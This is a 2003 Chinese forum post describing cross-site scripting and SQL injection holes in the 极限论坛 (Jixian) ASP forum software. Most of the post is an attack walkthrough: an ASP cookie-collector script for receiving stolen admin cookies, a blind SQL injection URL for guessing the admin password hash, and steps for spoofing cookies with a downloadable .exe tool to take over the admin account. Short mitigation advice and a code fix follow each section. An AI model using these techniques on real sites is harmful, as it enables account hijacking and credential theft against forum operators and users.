[这个贴子最后由黑色海岸线在 2003/12/30 10:02am 第 1 次编辑]
前几天,孤独剑客的论坛被人黑了,了解到剑客所用的论坛是极限论坛,
就决心花点时间看看极限论坛的安全性到底如何。
去网上找了下,都是2002年的,看来官方己经停止开发了,就down了个
官方的fso版。
没花多久,就发现以下两大问题。
一.存在跨站脚本漏洞
测试方法:发一个贴子,标题任意,贴子内容为
现在我们进入贴子,就会弹出一个如图1所示的对话框,我们继续实验,再发一个贴子,
贴子内容为,这样我们一旦点击这个贴子
就会弹出自己的cookie值,如图2所示,红线所画处就是md5加密过的密码以及用户名:admin
注意:前提是对方选择了保存cookie,要不然是不会显示出密码和用户名的。
下面就开始我的跨站收集cookie值计划了,把以下代码保存为darkeyes.asp。
========================================
<%
testfile=Server.MapPath("darkeyes.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
=========================================
然后将该文件上传到自己的asp空间上。
注:后面的window.close(),是为了更好的隐藏。
此外由于调用了filesystemobject组件,则所用asp空间要支持fso才行。
一切都准备就绪了,就再发个贴子吧,内容为
注:www.target.com为你所使用的asp空间地址。
我在本机上实验了一下,却发现不能成功获得完整cookie值,如图3所示,只能得Password的信息,可是我们不知道是谁的密码呀!
经过多次实验,终于发现原来是&(连接符)这个坏家伙在作怪,怎么绕过&号得到完整的cookie值呢。
仔细看了下教程书,终于发现调用request.servervariables("QUERY_STRING")也可以得到?(问号)后面的信息。
既然如此,就把上面代码中的msg=Request("msg")改为msg=Request.servervariables("QUERY_STRING")即可,其他的照旧,
这下再有人进入我发的贴子,就会将完整的cookie值信息保存在darkeyes.txt这个文件里了,如图4所示,
己经成功的拿到了admin的cookie值。
此外,极限论坛的自定义签名,以及自定义头像也可以用以上的方法,至于有没有人来看你的贴子,
就要看你取的名字是否吸引别人的眼球啦,:)。
防范方法:
1.对javascipt、vbscript、vbs等字符作出过滤,还应该作严格的检查,因为javascript也可以写成javascrpt。
2.检查[img][/img]之间的后缀是否是jpg、gif等s格式。
3.对保存上传图片的目录限制脚本执行权限,安全第一嘛。
二.存在sql injection漏洞
这个asp论坛基本上的过滤都不完善,就拿flist.asp这个文件来说吧,其中主要的代码如下:
===================================
…………
CAT_ID=replace(request("CAT_ID"),"'","''")
sql = "SELECT CAT_NAME FROM Forum_Category where CAT_ID="&CAT_ID
set tempc=conn.Execute(SQL)
if tempc.bof or tempc.eof then
response.Redirect("index.asp")
…………
===================================
变量CAT_ID仅仅过滤了'号,不过总比什么都不检查好,呵呵!
admin的id为3,也是最小的id值,提交
http://www.target.com/flist.asp?cat_id=14%20and%203=(select%20min(ID)%20from%20Forum_UserDB%20where%20asc(mid(Password,1,1)=55)
---正常返回页面,这样就猜出了第一位密码的asc为55,查一下ASCⅡ码就得出是7
注:从上面的代码可以看出,如图条件不成立,则将返回index.asp这个文件。
不过要注意的是,这里的表名和字段名是有大小写区别的,我刚开始就是没注意到,浪费了不少时间。
用asc配合mid一个个猜解,很快就可以得到md5加密过的密码,
拿到了md5加密的密码,暴力破解吗?NO,用IEcookiesview进行cookie值欺骗吧!
下载地址:http://lycos13561.w58.bizcn.com/mypage/tools/iecv.exe
下面我再简单讲解一下该工具的使用,先自己注册一个用户进论坛,要选择保存cookie值哦!
然后打开IEcookiesview,在地址栏中找到刚才进入的论坛,然后右键点击下半部分的rick_user,
选择"Edit The cookie's content",如图5所示,进入相应的页面后,将value中的值修改为管理员的用户名
和密码,最后点击modify cookie就差不多成功了。最后一个步骤就是关闭刚才打开的论坛页面,
开一个IE重新进入,发现自己己经admin了,还可以直接进后台,因为极限论坛是没有二次密码验证的。
防范建议:除了过滤',空格之类的东东,还应该把CAT_ID限制为数字。
代码如下
===================================
CAT_ID=replace(request("CAT_ID")," ","")
if isnumeric(CAT_ID)=0 or CAT_ID="" then
response.write "非法提交!"
response.end
end if
===================================
不过极限论坛的问题,根本不仅仅是这一个地方,再加上极限论坛己经失去技术支持(官方不更新了嘛),为了安全起见,
我建议使用极限论坛的用户,还是使用动网这样安全性高的论坛吧,毕竟动网经过众多高手的免费检测,己经相当成熟了,:)。
个人信息
作者:darkeyes
|